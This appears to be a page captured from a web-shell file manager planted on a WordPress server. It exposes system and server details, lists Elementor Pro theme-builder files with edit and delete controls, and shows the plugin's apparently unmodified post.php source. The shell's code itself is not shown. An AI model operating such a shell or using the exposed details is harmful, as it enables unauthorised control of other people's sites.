[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
elementor-pro
/
modules
/
theme-builder
/
conditions
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 any-child-of-term.php
1,023 B
SET
[ EDIT ]
|
[ DEL ]
📄 any-child-of.php
568 B
SET
[ EDIT ]
|
[ DEL ]
📄 archive.php
1,283 B
SET
[ EDIT ]
|
[ DEL ]
📄 author.php
937 B
SET
[ EDIT ]
|
[ DEL ]
📄 by-author.php
979 B
SET
[ EDIT ]
|
[ DEL ]
📄 child-of-term.php
939 B
SET
[ EDIT ]
|
[ DEL ]
📄 child-of.php
1,292 B
SET
[ EDIT ]
|
[ DEL ]
📄 condition-base.php
1,568 B
SET
[ EDIT ]
|
[ DEL ]
📄 date.php
491 B
SET
[ EDIT ]
|
[ DEL ]
📄 front-page.php
508 B
SET
[ EDIT ]
|
[ DEL ]
📄 general.php
586 B
SET
[ EDIT ]
|
[ DEL ]
📄 in-sub-term.php
878 B
SET
[ EDIT ]
|
[ DEL ]
📄 in-taxonomy.php
1,371 B
SET
[ EDIT ]
|
[ DEL ]
📄 not-found404.php
503 B
SET
[ EDIT ]
|
[ DEL ]
📄 post-type-archive.php
1,809 B
SET
[ EDIT ]
|
[ DEL ]
📄 post-type-by-author.php
1,250 B
SET
[ EDIT ]
|
[ DEL ]
📄 post.php
2,116 B
SET
[ EDIT ]
|
[ DEL ]
📄 search.php
499 B
SET
[ EDIT ]
|
[ DEL ]
📄 singular.php
1,267 B
SET
[ EDIT ]
|
[ DEL ]
📄 taxonomy.php
1,315 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: post.php
<?php namespace ElementorPro\Modules\ThemeBuilder\Conditions; use ElementorPro\Modules\QueryControl\Module as QueryModule; if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } class Post extends Condition_Base { private $post_type; private $post_taxonomies; public static function get_type() { return 'singular'; } public static function get_priority() { return 40; } public function __construct( $data ) { $this->post_type = get_post_type_object( $data['post_type'] ); $taxonomies = get_object_taxonomies( $data['post_type'], 'objects' ); $this->post_taxonomies = wp_filter_object_list( $taxonomies, [ 'public' => true, 'show_in_nav_menus' => true, ] ); parent::__construct(); } public function get_name() { return $this->post_type->name; } public function get_label() { return $this->post_type->labels->singular_name; } public function get_all_label() { return $this->post_type->label; } public function check( $args ) { if ( isset( $args['id'] ) ) { $id = (int) $args['id']; if ( $id ) { return is_singular() && get_queried_object_id() === $id; } } return is_singular( $this->post_type->name ); } public function register_sub_conditions() { foreach ( $this->post_taxonomies as $slug => $object ) { $in_taxonomy = new In_Taxonomy( [ 'object' => $object, ] ); $this->register_sub_condition( $in_taxonomy ); if ( $object->hierarchical ) { $in_sub_term = new In_Sub_Term( [ 'object' => $object, ] ); $this->register_sub_condition( $in_sub_term ); } } $by_author = new Post_Type_By_Author( $this->post_type ); $this->register_sub_condition( $by_author ); } protected function register_controls() { $this->add_control( 'post_id', [ 'section' => 'settings', 'type' => QueryModule::QUERY_CONTROL_ID, 'select2options' => [ 'dropdownCssClass' => 'elementor-conditions-select2-dropdown', ], 'autocomplete' => [ 'object' => QueryModule::QUERY_OBJECT_POST, 'query' => [ 'post_type' => $this->get_name(), ], ], ] ); } }